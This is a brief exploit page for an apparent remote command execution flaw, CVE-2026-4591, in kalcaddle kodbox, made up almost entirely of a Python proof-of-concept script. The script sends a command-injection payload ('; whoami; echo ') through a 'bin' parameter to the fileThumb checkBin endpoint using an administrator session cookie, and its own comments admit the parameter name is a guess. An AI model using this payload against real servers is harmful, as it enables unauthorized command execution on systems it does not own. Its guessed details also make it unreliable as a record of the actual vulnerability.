CVE-2026-4591 kalcaddle kodbox 远程命令执行漏洞

import requests # Target URL (example) target_url = "http://127.0.0.1/kodbox/index.php" # Exploit endpoint based on vulnerability description endpoint = "/plugin/fileThumb/checkBin" # Since PR:H is required, a valid session cookie is needed cookies = { "PHPSESSID": "<valid_admin_session_id>" } # Payload to execute OS command injection # Example: checking 'whoami' or listing files # The parameter 'bin' is hypothetical based on function name 'checkBin' payload = { "bin": "; whoami; echo " } try: response = requests.post(target_url + endpoint, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")